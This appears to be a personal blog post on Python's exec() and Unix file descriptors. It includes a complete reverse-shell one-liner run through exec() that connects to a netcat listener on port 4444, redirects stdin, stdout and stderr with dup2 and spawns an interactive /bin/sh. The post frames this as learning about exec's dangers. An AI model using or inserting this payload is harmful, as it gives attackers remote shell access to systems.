[security] File descriptor connecting to nix system and danger of using exec() in python

I have been writing python for quite a while about 2 years to be exact and mostly I am writing network related scripts or API calling scripts, but I have never used the python statement exec before, according to the help the exec is to execute the python statements.


So supposed I need to print a variable with assigned string I can do this:
exec("info='document: this is a test';print(info);"), the output will be like this document: this is a test, I can further do things such as spawn a shell in linux machine… like this exec("info='this is a test';print(info);import subprocess;subprocess.run('/bin/sh');").

Going further I am creating a netcat server listening on tcp/4444, and I am executing the python codes.
This is the exec statement:
exec("import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',4444));print('Convert to stdin file descriptor: {}'.format(os.dup2(s.fileno(),0)));print('Convert to stdout file descriptor: {}'.format(os.dup2(s.fileno(),1)));print('Convert to stderr file descriptor: {}'.format(os.dup2(s.fileno(),2)));subprocess.call(['/bin/sh','-i']);")


Another I learned is that connecting to nix server stdin, stdout and stderr are created as files which each have file descriptors 0, 1 and 2 respectively.

This reference about file descriptor is very good.

This video explains the dup2 quite well.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s